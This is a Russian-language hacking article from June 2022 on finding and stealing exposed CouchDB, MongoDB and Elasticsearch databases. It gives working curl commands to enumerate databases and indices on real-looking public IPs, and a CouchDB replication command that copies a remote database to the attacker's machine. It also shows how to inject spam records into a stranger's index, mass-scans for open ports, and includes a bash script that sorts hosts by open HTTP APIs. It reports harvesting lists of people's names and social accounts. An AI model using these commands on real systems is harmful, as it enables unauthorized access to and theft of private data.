Hacking
June 17, 2022

Как угнать чужую базу данных

В поисках утечек. Расскажем, как хакеры ищут и угоняют чужие базы данных

Всем салют, дорогие друзья!
Преж­де чем прис­тупать непосредственно к ата­кам, пред­лагаю разоб­рать­ся, почему они вооб­ще воз­можны и почему жизнь по‑преж­нему ничему не учит адми­нов и про­чих при­час­тных к защите БД:

  • По­рог вхож­дения в при­мене­ние сов­ремен­ных БД, как и в IT в целом, сни­жает­ся. Начина­юще­му эни­кей­щику все про­ще попасть на адми­нис­три­рова­ние сер­виса, тре­бующе­го тща­тель­ной и вни­матель­ной нас­трой­ки, да и эле­мен­тарных зна­ний о кон­крет­ном про­дук­те.
  • Час­тень­ко авто­риза­цию отклю­чают по сооб­ражени­ям «удобс­тва» работы с дан­ными. В ито­ге наружу тор­чит порт, а неред­ко и интерфейс СУБД, с которым мож­но делать что угод­но. При­ходи — бери что хочешь…
  • На­чаль­ство тре­бует сде­лать все мак­сималь­но дешево, так как денег мало и тра­тить их на дос­той­ного спе­ца не хочет­ся. Вот и про­сят дизай­нера Вась­ку накатить и нас­тро­ить БД для ком­пании за чаш­ку кофе. Какая уж тут безопас­ность — хорошо, если хоть пароль пос­тавит.

Та­ким обра­зом, одной из основных при­чин утеч­ки дан­ных слу­жит кри­вору­кость адми­нис­тра­торов и небезо­пас­ная кон­фигура­ция СУБД, оставлен­ная в резуль­тате нев­ниматель­нос­ти или же прос­то недос­татка зна­ний.


САМЫЕ ИНТЕРЕСНЫЕ СУБД

СУБД — это сис­тема управле­ния базами дан­ных, которая обес­печива­ет механизм хра­нения и поис­ка этих самых дан­ных. В даль­нейшем я буду час­то исполь­зовать это сок­ращение.


CouchDB

CouchDB — это база дан­ных с откры­тым исходным кодом, раз­работан­ная прог­рам­мным фон­дом Apache. Клас­сичес­кая NoSQL-база. Написа­на на язы­ке Erlang.

Боль­ше все­го нас инте­ресу­ют спо­собы под­клю­чения:

  • порт HTTP API (по умол­чанию — 5984);
  • веб‑интерфейс Futon.

Дос­туп к БД реали­зован по про­токо­лу HTTP с исполь­зовани­ем JSON API, что поз­воля­ет обра­щать­ся к дан­ным в том чис­ле из выпол­няемых в бра­узе­ре веб‑при­ложе­ний. Име­ет свой собс­твен­ный гра­фичес­кий веб‑интерфейс (Futon).

Мы же вос­поль­зуем­ся обыч­ным curl.

  • Вот, к при­меру, зап­рос при­ветс­твия:

curl http://127.0.0.1:5984/

  • От­вет рас­ска­жет нам о номере вер­сии, име­ни пос­тавщи­ка и вер­сии прог­рам­мно­го обес­печения:

{

"couchdb":"Welcome","version":"2.3.1",

"git_sha":"c298091a4",

"uuid":"777dc19849f3ff0392ba09dec1a62fa7",

"features":["pluggable-storage-engines","scheduler"],

"vendor":{"name":"The Apache Software Foundation"}

}

  • Что­бы получить спи­сок всех БД на сер­вере, мож­но выпол­нить такой зап­рос:

curl http://127.0.0.1:5984/_all_dbs

  • В ответ мы уви­дим:

[

"_replicator",

"_users",

"mychannel_",

"mychannel_kizuna-chaincode",

"mychannel_lscc",

"mychannel_user"

]

Здесь _replicator и _users — это стан­дар­тные БД.
  • В ответ так­же мож­но получить такую ошиб­ку:

{

"error":"unauthorized",

"reason":"You are not a server admin."

}

Сме­ло идем мимо, здесь ловить нечего. Уро­вень ано­ним­ного дос­тупа нас­тро­ен так, что мы не можем даже уви­деть спи­сок БД на сер­вере, не то что к ним под­клю­чить­ся. Но мож­но поп­робовать науда­чу подоб­рать пароль.

  • Зап­рос на авто­риза­цию выг­лядит сле­дующим обра­зом:

curl -X PUT http://localhost:5984/test -u "login:password"

  • Что­бы под­клю­чить­ся к гра­фичес­кому интерфей­су, нет необ­ходимос­ти ста­вить какое‑либо ПО, дос­таточ­но прос­то в бра­узе­ре перей­ти по такому адре­су:

http://127.0.0.1:5984/_utils/

  • Что­бы унес­ти дан­ные, мож­но вос­поль­зовать­ся сле­дующим зап­росом:

curl -X POST -d '{"source":"http://54.161.77.240:5984/klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' http://localhost:5984/_replicate -H "Content-Type: application/json"

Ко­неч­но же, пот­ребу­ется под­нять сер­вер CouchDB на локаль­ной машине.

Впро­чем, было бы стран­но, если бы его у тебя не было, раз уж ты соб­рался работать с этой базой.

MongoDB

MongoDB — это кросс‑плат­формен­ная, докумен­тоориен­тирован­ная база дан­ных, которая обес­печива­ет высокую про­изво­дитель­ность и лег­кую мас­шта­биру­емость. В осно­ве дан­ной БД лежит кон­цепция кол­лекций и докумен­тов.

  • Спо­собов под­клю­чения опять два:
  • HTTP API (порт по умол­чанию — 27017);
  • кли­ент Robo 3T.

По­лучить минималь­ную информа­цию о наход­ке мож­но прос­тым GET-зап­росом на порт API:

curl -X GET http://114.116.117.104:27017

Све­дения здесь и прав­да скром­ные, без драй­вера БД не удас­тся добыть хоть сколь­ко‑нибудь полез­ные дан­ные, кро­ме того, что БД здесь вооб­ще при­сутс­тву­ет (или нет).

  • Ес­ли на пор­те кру­тит­ся дей­стви­тель­но MongoDB, то ответ при­дет таким:

It looks like you are trying to access MongoDB over HTTP on the native driver port.

Это­го впол­не дос­таточ­но, что­бы про­дол­жить руч­ную про­вер­ку при помощи гра­фичес­кого кли­ента.

Увес­ти дан­ные из наход­ки мож­но через GUI.


Elasticsearch

Elasticsearch — это пред­ста­витель клас­терных NoSQL баз дан­ных, име­ющий JSON REST API и исполь­зующий Lucene для пол­нотек­сто­вого поис­ка. Написа­на на Java. Мы будем рас­смат­ривать его как хра­нили­ще докумен­тов в фор­мате JSON.

Ба­за Elasticsearch спо­соб­на мас­шта­биро­вать­ся до петабайт струк­туриро­ван­ных и нес­трук­туриро­ван­ных дан­ных. Дан­ные в индексе раз­делены на один или нес­коль­ко осколков (шар­дов). Бла­года­ря раз­делению Elasticsearch может мас­шта­биро­вать­ся и дос­тигать раз­меров, которые не потяну­ла бы одна машина. Elasticsearch — это рас­пре­делен­ная сис­тема, опи­сать мак­сималь­ные объ­емы хра­нения дан­ных зат­рудни­тель­но, могу ска­зать толь­ко, что там могут лежать петабай­ты и боль­ше.

Спо­собы под­клю­чения сле­дующие:

HTTP API — шту­ка очень прос­тая. Для начала давай зап­росим при­ветс­твие.

  • Ради безопас­ности подопыт­ного сер­вера часть адре­са замаза­на:

curl -XGET http://47.99.Х.Х:9200/

  • Ес­ли все хорошо и мы прав­да наш­ли «Элас­тик», то в ответ при­дет что‑то подоб­ное:

{

"name" : "node-2",

"cluster_name" : "es",

"cluster_uuid" : "q10ZJxLIQf-ZRZIC0kDkGQ",

"version" : {

"number" : "5.5.1",

"build_hash" : "19c13d0",

"build_date" : "2017-07-18T20:44:24.823Z",

"build_snapshot" : false,

"lucene_version" : "6.6.0"

},

"tagline" : "You Know, for Search"

}

  • Вы­ведем спи­сок всех индексов в БД:

curl -XGET http://47.99.Х.Х:9200/_cat/indices?v

  • От­вет получим при­мер­но такой:

health status index uuid pri rep docs.count docs.deleted store.size pri.store.size

green open bdp-interface x3DLdQRyTK2jssMvIJ3FmA 5 1 32576 28 428.9mb 214.4mb

green open onair-vlog Vsq0srUGSk2NvvYmXpxMBw 5 1 22 0 931.9kb 465.9kb

green open meizidb PCybF4SvTdSt1BoOCYLxNw 5 1 5328 1 27.9mb 13.9mb

green open rms-resource R6c3U5_pQgG71huRD0OdDA 5 1 125827 36 1.2gb 636.2mb

  • Уз­наем наз­вания полей, которые хра­нят­ся в БД:

curl -XGET http://47.99.X.X:9200/meizidb

  • От­вет:

{

"meizidb":{

"aliases":{},

"mappings":{

"assets":{

"dynamic_templates":[{"string":{

"match_mapping_type":"string",

"mapping":{"type":"keyword"}

}}],

"properties":{

"annexList":{

"properties":{

"annexFileId":{"type":"keyword"},

"annexName":{"type":"keyword"},

"annexSize":{"type":"long"},

"annexThumbUrl":{"type":"keyword"},

"annexType":{"type":"keyword"},

"annexUrl":{"type":"keyword"}

}

},

"appCode":{"type":"keyword"},

"asrText":{"type":"text","index_options":"offsets","analyzer":"ik_max_word"},

"assetsType":{"type":"keyword"},

"cdetail":{

"properties":{

"SP":{"type":"keyword"},

"jz":{"type":"keyword"},

"src":{"type":"keyword"},

"tag":{"type":"keyword"},

"type":{"type":"keyword"}

}

},

"companyId":{"type":"keyword"},

"companyName": ...

}

  • Мож­но и вно­сить записи:

curl -X POST http://47.99.Х.Х:9200/onair-vlog/catalogue/1 -H 'Content-Type: application/json' -d @- << EOF

{

"username" : "KassNT",

"subject" : "My Referal url: ",

"referal" : "https://xakep.ru/paywall/form/?init&code=xakep-promo-KassNT"

}

EOF


ПРИМЕРЫ РУЧНОГО ПОИСКА

Су­щес­тву­ют два пути поис­ка жертв.

Пер­вый путь — онлай­новые сер­висы, которые ска­ниру­ют весь мир и пре­дос­тавля­ют нам информа­цию о хос­тах при помощи поис­ковых опе­рато­ров. Мож­но, нап­ример, «прос­то най­ти» цель в одном из них.

По­казы­вать каж­дый под­робно я не буду, но при­веду нес­коль­ко при­меров. Нап­ример, зап­рос на поиск MongoDB для сер­виса Fofa будет выг­лядеть так.

По­доб­ный ему сер­вис — Zoomeye.org. Зап­рос на поиск хос­тов с под­нятой CouchDB здесь будет выг­лядеть так­же нес­ложно.

Про­демонс­три­рую резуль­таты работы сер­виса Shodan с помощью одно­имен­ной кон­соль­ной ути­литы. Резуль­тат поис­ка по зап­росу [product:mongodb all:"metrics"] будет как на скри­не ниже.

Вто­рой путь — при­менить руч­ные ска­неры.

Ска­ниро­вание, конеч­но, руч­ное, но почему бы не вос­поль­зовать­ся готовым набором дан­ных? Нап­ример, если VPS-про­вай­дер не поз­воля­ет ска­ниро­вать все под­ряд на огромной ско­рос­ти, то эти ребята уже сде­лали все за вас! Ну, поч­ти.

О Project Sonar слы­шало не так мно­го людей. Это иссле­дова­тель­ский про­ект, который ска­ниру­ет сер­висы и про­токо­лы, что­бы получить пред­став­ление о гло­баль­ном воз­дей­ствии рас­простра­нен­ных уяз­вимос­тей. Раз­работан в ком­пании, соз­давшей, наде­юсь, небезыз­вес­тный тебе Metasploit Framework, — Rapid7. Соб­ранные дан­ные дос­тупны широкой пуб­лике для иссле­дова­ний в области безопас­ности.

Нам будет инте­ресен раз­дел TCP Scans, где содер­жатся резуль­таты опро­са IP-адре­сов по раз­личным пор­там. Подой­дет, нап­ример, набор дан­ных по резуль­татам 9200 пор­та (Elasticsearch).

TCP Scans

[2022-06-07-1602049416-http_get_9200.csv.gz] [39.9 MB] [June 7, 2022]

Lines: 3 472 740

[ 'timestamp_ts' , 'saddr' , 'sport' , 'daddr' , 'dport' , 'ipid' , 'ttl' ]

'1602049426' , '146.148.230.26' , '9200' , '71.6.233.15' , '9200' , '54321' , '248'

'1602049426' , '34.102.229.177' , '9200' , '71.6.233.70' , '9200' , '60681' , '122'

'1602049426' , '104.232.64.108' , '9200' , '71.6.233.105' , '9200' , '54321' , '248'

'1602049426' , '164.116.204.58' , '9200' , '71.6.233.79' , '9200' , '38329' , '242'

'1602049426' , '35.186.233.76' , '9200' , '71.6.233.7' , '9200' , '44536' , '122'

'1602049426' , '192.43.242.72' , '9200' , '71.6.233.113' , '9200' , '19234' , '56'

'1602049426' , '166.241.202.174' , '9200' , '71.6.233.47' , '9200' , '26802' , '242'

'1602049426' , '142.92.75.134' , '9200' , '71.6.233.115' , '9200' , '28081' , '243'

'1602049426' , '198.86.33.87' , '9200' , '71.6.233.112' , '9200' , '17403' , '59'

Для Masscan сос­тавим такую коман­ду на запуск:

masscan -p9200,9042,5984,27017 10.0.0.0/8 --echo > result.txt

Имея на руках готовый спи­сок хос­тов, мож­но прис­тупить к деталь­ной про­вер­ке.

Здесь вид­но, что порт не прос­то открыт — на нем запущен сер­вис Elasticsearch.

В резуль­тате ска­ниро­вания и поис­ка раз­ными сер­висами было обна­руже­но немало любопыт­ного. На скри­нах — неболь­шая выбор­ка.

CouchDB

InfoRisk

InfoRisk

Ча­ты

Не­ожи­дан­но обна­ружи­лись спис­ки имен, ников, фамилий (со ссыл­кой на кон­крет­ный акка­унт Telegram, VK или Viber), 16 баз дан­ных, в каж­дой 15–20 тысяч строк таких вот спис­ков.

Apache Cassandra

РАЗБОР ПОЛЕТОВ

Вот что в пос­леднее вре­мя слу­чает­ся с теми, кто кри­во нас­тра­ивает дос­туп к БД. Все дан­ные отправ­ляют­ся на тот свет, а незадач­ливому адми­ну оста­ется толь­ко запис­ка с тре­бова­нием выкупа.

Тре­бова­ние выкупа

АВТОМАТИЗАЦИЯ

Что­бы быс­трее искать СУБД, я написал неболь­шой скрипт, который работа­ет со спис­ками в фор­мате [ip]:[port]. Вот что он дела­ет:

  • от­кры­вает на чте­ние ука­зан­ный файл;
  • счи­тыва­ет стро­ку ip:port через раз­делитель в перемен­ную;
  • об­раща­ется при помощи curl по HTTP к хос­ту из перемен­ной;
  • счи­тыва­ет http_response, при­шед­ший от хос­та (вре­мя отве­та хос­та огра­ниче­но в моем слу­чае четырь­мя секун­дами);
  • на осно­ве получен­ного кода http_response хост сох­раня­ется либо в «успешные», либо в «мусор­ку».

Дей­ствия совер­шают­ся цик­личес­ки, пока не закон­чится вход­ной файл.

echo "$LINE" | cut -d":" -f'1 2';

HTTP_CODE=$(curl --write-out "%{http_code}n" "http://"$LINE"" --output output.txt --silent --connect-timeout 4)

if (("$HTTP_CODE"=="200")); then

echo "##########################--HTTP_API_FOUND--#########################";

echo $LINE >> result.txt

else

echo "Tried to access it, but f'ed up";

echo $LINE >> trash_bin.txt

fi

При­мер работы скрип­та

Как видишь, авто­мати­зиро­вать поиск целей и даже их даль­нейшую «обра­бот­ку» край­не лег­ко.


ВЫВОДЫ

Я, конеч­но, рас­смот­рел далеко не все вари­анты, выб­рав наибо­лее час­то «текущие» СУБД. Но прин­цип, думаю, понятен: даже если ты админ, а не хакер, знать воз­можные век­торы атак обя­затель­но.

На сегодня это все. Удачной охоты!

👉Да, хочу!ᅠ